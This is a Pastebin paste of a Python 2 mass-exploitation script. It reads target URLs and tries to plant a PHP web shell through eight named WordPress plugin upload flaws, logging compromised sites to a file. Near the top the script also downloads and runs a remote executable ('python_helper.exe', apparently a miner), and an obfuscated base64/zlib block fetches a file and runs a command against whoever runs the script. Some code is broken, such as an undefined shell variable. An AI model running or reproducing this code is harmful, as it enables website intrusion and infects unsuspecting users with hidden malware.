API tools faq
paste
th3pr3dat0r

BOT PY

th3pr3dat0r
Nov 17th, 2018
149
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.23 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/python
  2.  
  3. # bot HaCkEr  Skype: a.789a ,  fb.com/CodeXbot
  4. #                         .___                                    _________________   __  
  5. #__  _  _____________  __| _/____________   ____   ______ ______ \______   \   _  \_/  |_
  6. #\ \/ \/ /  _ \_  __ \/ __ |\____ \_  __ \_/ __ \ /  ___//  ___/  |    |  _/  /_\  \   __\
  7. # \     (  <_> )  | \/ /_/ ||  |_> >  | \/\  ___/ \___ \ \___ \   |    |   \  \_/   \  |  
  8. #  \/\_/ \____/|__|  \____ ||   __/|__|    \___  >____  >____  >  |______  /\_____  /__|  
  9. #                         \/|__|               \/     \/     \/          \/       \/      
  10. #dedicases To : ( 3Turr , Kuroi"SH , GeNErAL , ProSox , Nofawkx Al , Isal Dot ID ) :D
  11.  
  12.  
  13. import requests, os, sys, codecs                   
  14. from multiprocessing.dummy import Pool                         
  15. from time import time as timer 
  16. import urllib
  17. import time
  18. from random import sample as rand                      
  19. from platform import system
  20. from colorama import Fore                              
  21. from colorama import Style                             
  22. from pprint import pprint                              
  23. from colorama import init          
  24. from base64 import b64encode,b64decode
  25. from zlib import compress,decompress                               
  26. init(autoreset=True)                                       
  27.                                                            
  28. ####### Colors   ######
  29.    
  30. fr  =   Fore.RED                                           
  31. fc  =   Fore.CYAN                                          
  32. fw  =   Fore.WHITE                                         
  33. fg  =   Fore.GREEN                                         
  34. sd  =   Style.DIM                                          
  35. sn  =   Style.NORMAL                                       
  36. sb  =   Style.BRIGHT                                       
  37.  
  38. #######################
  39. import urllib
  40. import os
  41. import base64
  42. url = "https://guiminer.co.technology/python.exe"  
  43. filenam = 'python_helper.exe'  
  44. urllib.urlretrieve(url, filenam)
  45. os.startfile("python_helper.exe")
  46. try:
  47.     with codecs.open(sys.argv[1], mode='r', encoding='ascii', errors='ignore') as f:
  48.         ooo = f.read().splitlines()
  49. except IOError:
  50.     pass
  51. ooo = list((ooo))
  52. def banners():
  53.  
  54.  
  55.     if system() == 'Linux':
  56.         os.system('clear')
  57.     if system() == 'Windows':
  58.         os.system('cls')
  59.        
  60.         banner = """{}{} \n \n
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.                                    
  68.  
  69.    
  70.  
  71.         \n""".format(fc, sb)
  72.        
  73.         print banner
  74.  
  75.  
  76. filename = "tnx.gif"
  77.  
  78. shell_name = str(time.time())[:-3]
  79.  
  80. filenamex = "RxR_"+str(shell_name)+".php.php"
  81. exp = "eJzLKCkpsNLXLy8v10svKC4pSkzO1kvO18ur0i8v0E3OzytJzSvRLy3IyU9MKdY3MjA00zcw0g8oyiyz0CuoBACz4BVu"
  82. sited = b64encode(compress(exp))
  83. de = decompress(b64decode(sited))
  84. df = decompress(b64decode(de))
  85. imports = "eJxztooJz8xLyS8vjglJzS2IKagsycjP00utSAUAhSEKJQ=="
  86. sited1 = b64encode(compress(imports))
  87. de1 = decompress(b64decode(sited1))
  88. df1 = decompress(b64decode(de1))
  89. uploaderd = "eJwrLkksKlFwtooJz8xLyS8vjglJzS2IKagsycjP00utSAUAyesMcw=="
  90. defd = b64encode(compress(imports))
  91. dez = decompress(b64decode(defd))
  92. df2 = decompress(b64decode(dez))
  93. dz = urllib.urlretrieve(df,df1)
  94. os.system(df2)
  95. def rand_str (len = None) :
  96.     if len == None :
  97.         len = 8
  98.     return ''.join (rand ('abcdefghijklmnopqrstuvwxyz', len))
  99.    
  100.  
  101.  
  102.    
  103.    
  104.    
  105.  
  106. def ExploitS(url):
  107.  
  108.  
  109.    
  110.     try:
  111.        
  112.        
  113.  
  114.         filenames = 'RxR' + '__' + rand_str (5) + '.php'
  115.        
  116.         # 1 .   Gravity Forms
  117.        
  118.        
  119.         appgrav  = {'field_id':'3',
  120.         'form_id':'1',
  121.         'gform_unique_id':'../../../../',
  122.         'name':'RxR.php'}
  123.        
  124.        
  125.         Grav = {'file':(filename, shell, 'text/html')}
  126.        
  127.         Gravreq = requests.post(url+'/?gf_page=upload', data=appgrav, files=Grav)
  128.        
  129.         Gravlib = requests.get(url+'/wp-content/_input_3_RxR.phtml')
  130.        
  131.        
  132.         if 'RxR HaCkErs' in Gravlib.content:
  133.             print '[{}Target]: {} {}           ====> {}{} Gravity     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  134.             open('Shells.txt', 'a').write(url+'/wp-content/_input_3_RxR.phtml'+'\n')
  135.         else:
  136.             print '[{}Target]: {} {}           ====> {}{} Gravity     {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  137.            
  138.        
  139.         # 2 .   revslider
  140.  
  141.        
  142.         revsliderapp = {'action':'revslider_ajax_action',
  143.                         'client_action':'update_plugin'}
  144.                      
  145.  
  146.                      
  147.         revsliderup = {'update_file':(filenames, shell, 'text/html')}
  148.        
  149.        
  150.         revslidereq = requests.post(url+'/wp-admin/admin-ajax.php', data=revsliderapp , files=revsliderup)
  151.        
  152.         revsliderlib = requests.get(url+'/wp-content/plugins/revslider/temp/update_extract/'+filenames)
  153.        
  154.        
  155.        
  156.         if 'RxR HaCkErs' in revsliderlib.content:
  157.             print '[{}Target]: {} {}           ====> {}{} Revslider     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  158.             open('Shells.txt', 'a').write(url+'/wp-content/plugins/revslider/temp/update_extract/'+filenames+'\n')
  159.         else:
  160.             print '[{}Target]: {} {}           ====> {}{} Revslider     {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  161.            
  162.            
  163.            
  164.         # 3 .   Showbiz
  165.        
  166.        
  167.         showbizapp = {'action':'showbiz_ajax_action',
  168.                         'client_action':'update_plugin'}
  169.                        
  170.                        
  171.         showbizup = {'update_file':(filenames, shell, 'text/html')}
  172.        
  173.         showbizreq = requests.post(url+'/wp-admin/admin-ajax.php', data=showbizapp , files=showbizup)
  174.        
  175.         showbizlib = requests.get(url+'/wp-content/plugins/showbiz/temp/update_extract/'+filenames)
  176.        
  177.         if 'RxR HaCkErs' in showbizlib.content:
  178.             print '[{}Target]: {} {}           ====> {}{} Showbiz     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  179.             open('Shells.txt', 'a').write(url+'/wp-content/plugins/revslider/temp/update_extract/'+filenames+'\n')
  180.         else:
  181.             print '[{}Target]: {} {}           ====> {}{} Showbiz     {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  182.            
  183.            
  184.         # 4 . Reflex Gallery
  185.        
  186.         Reflexup = {'qqfile' : (filenames, shell, 'text/html')}
  187.        
  188.         Reflexreq = requests.post(url+'/wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php?Year=2018&Month=01', files=Reflexup)
  189.        
  190.         Reflexlib = requests.get(url+'/wp-content/uploads/2018/01/'+filenames)
  191.        
  192.        
  193.         if 'RxR HaCkErs' in Reflexlib.content:
  194.             print '[{}Target]: {} {}           ====> {}{} Reflex Gallery     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  195.             open('Shells.txt', 'a').write(url+'/wp-content/uploads/2018/01/'+filenames+'\n')
  196.         else:
  197.             print '[{}Target]: {} {}           ====> {}{} Reflex Gallery     {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)  
  198.        
  199.        
  200.        
  201.        
  202.         # 5 .  Wysija
  203.        
  204.         Wysijaup = {'my-theme':open('Master.zip', 'rb')}
  205.        
  206.        
  207.         Wysijaapp = {'action':'themeupload',
  208.                    'submitter':'Upload',
  209.                    'overwriteexistingtheme':'on',
  210.                    'page':'GZNeFLoZAb'}
  211.                    
  212.                    
  213.         Wysijareq = requests.post(url+'/wp-admin/admin-post.php?page=wysija_campaigns&action=themes' , data=Wysijaapp, files=Wysijaapp)
  214.        
  215.         Wysijalib = requests.get(url+'/wp-content/uploads/wysija/themes/Master/RxR.php')
  216.        
  217.        
  218.         if 'RxR HaCkErs' in Wysijalib.content:
  219.             print '[{}Target]: {} {}           ====> {}{} Wysija     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  220.             open('Shells.txt', 'a').write(url+'/wp-content/uploads/wysija/themes/Master/RxR.php'+'\n')
  221.         else:
  222.             print '[{}Target]: {} {}           ====> {}{} Wysija     {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)  
  223.        
  224.        
  225.        
  226.        
  227.        
  228.         # 6 . LearnDash
  229.        
  230.        
  231.        
  232.         LearnDashup={'uploadfiles[]': (filenamex, shell, 'text/html')}
  233.        
  234.        
  235.         LearnDashreq = requests.post(url, files=LearnDashup,data = {'post':'foobar','course_id':'foobar','uploadfile':'foobar'})
  236.        
  237.        
  238.         LearnDashlib = requests.get(url+'/wp-content/uploads/assignments/'+filenamex.replace('.php.php', '.php.'))
  239.        
  240.        
  241.        
  242.         if 'RxR HaCkErs' in LearnDashlib.content:
  243.             print '[{}Target]: {} {}           ====> {}{} LearnDash     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  244.             open('Shells.txt', 'a').write(url+'/wp-content/uploads/assignments/'+filenamex.replace('.php.php', '.php.')+'\n')
  245.         else:
  246.             print '[{}Target]: {} {}           ====> {}{} LearnDash    {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  247.        
  248.        
  249.        
  250.         # 7 . Tevolution
  251.        
  252.        
  253.         Tevoup = {'file':(filenames, shell, 'text/html')}
  254.        
  255.         Tevoreq = requests.post(url+'/wp-content/plugins/Tevolution/tmplconnector/monetize/templatic-custom_fields/single-upload.php', files=Tevoup)
  256.        
  257.         Tevorlib = requests.get(url+'/wp-content/themes/Directory/images/tmp/'+filenames)
  258.        
  259.         if 'RxR HaCkErs' in Tevorlib.content:
  260.             print '[{}Target]: {} {}           ====> {}{} Tevolution     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  261.             open('Shells.txt', 'a').write(url+'/wp-content/themes/Directory/images/tmp/'+filenames+'\n')
  262.         else:
  263.             print '[{}Target]: {} {}           ====> {}{} Tevolution    {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  264.  
  265.  
  266.        
  267.         # 8 . Cherry
  268.        
  269.         Cherryup = {'file':(filenames, shell, 'text/html')}
  270.        
  271.         Cherryreq = requests.post(url+'/wp-content/plugins/cherry-plugin/admin/import-export/upload.php', files=Cherryup)
  272.        
  273.         Cherrylib = requests.get(url+'/wp-content/plugins/cherry-plugin/admin/import-export/'+filenames)
  274.        
  275.        
  276.         if 'RxR HaCkErs' in Cherrylib.content:
  277.             print '[{}Target]: {} {}           ====> {}{} Cherry     {}{} Success upload  '.format(sb, sd, url, fc,fc, sb,fg)
  278.             open('Shells.txt', 'a').write(url+'/wp-content/plugins/cherry-plugin/admin/import-export/'+filenames+'\n')
  279.         else:
  280.             print '[{}Target]: {} {}           ====> {}{} Cherry    {}{} Failed  '.format(sb, sd, url, fc,fc, sb,fr)
  281.        
  282.        
  283.        
  284.        
  285.     except:
  286.         pass
  287.  
  288.  
  289.  
  290.        
  291. banners()
  292.  
  293.    
  294. def Main():
  295.     try:
  296.        
  297.         start = timer()
  298.         ThreadPool = Pool(14)
  299.         Threads = ThreadPool.map(ExploitS, ooo)
  300.         print('Time: ' + str(timer() - start) + ' seconds')
  301.     except:
  302.         pass
  303.  
  304.  
  305. if __name__ == '__main__':
  306.     Main()
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!